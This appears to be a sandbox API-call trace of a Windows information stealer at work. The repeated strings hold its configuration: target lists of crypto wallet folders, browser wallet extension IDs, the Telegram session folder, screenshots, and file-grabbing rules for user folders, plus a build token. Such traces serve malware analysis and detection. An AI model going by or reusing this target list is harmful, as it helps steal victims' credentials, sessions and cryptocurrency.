Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.240] lstrlenW (lpString="electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4132 [0266.240] LocalAlloc (uFlags=0x40, uBytes=0x20c8) returned 0x6fc408 [0266.240] StrCpyW (in: psz1=0x6f4830, psz2="Electrum\\wallets" | out: psz1="Electrum\\wallets") returned="Electrum\\wallets" [0266.240] LocalFree (hMem=0x6fc408) returned 0x0 [0266.240] StrStrW (lpFirst="*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.240] lstrlenW (lpString="electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4132 [0266.240] LocalAlloc (uFlags=0x40, uBytes=0x20c8) returned 0x6fc408 [0266.240] StrCpyW (in: psz1=0x6f7178, psz2="*" | out: psz1="*") returned="*" [0266.241] LocalFree (hMem=0x6fc408) returned 0x0 [0266.241] StrStrW (lpFirst="-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension 